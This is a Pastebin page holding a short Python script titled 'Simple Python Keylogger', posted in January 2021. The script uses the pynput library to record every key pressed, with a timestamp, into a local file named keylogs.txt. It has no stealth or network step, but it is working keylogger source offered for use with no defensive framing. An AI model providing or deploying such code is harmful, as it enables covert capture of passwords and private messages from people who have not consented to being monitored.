Imranur_Abid

Simple Python Keylogger

Jan 27th, 2021
721
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. from pynput.keyboard import Key, Listener
  2. import logging
  3.  
  4. log_dir = ""
  5.  
  6. logging.basicConfig(filename=(log_dir + "keylogs.txt"), \
  7.     level=logging.DEBUG, format='%(asctime)s: %(message)s')
  8.  
  9. def on_press(key):
  10.     logging.info(str(key))
  11.  
  12. with Listener(on_press=on_press) as listener:
  13.     listener.join()
RAW Paste Data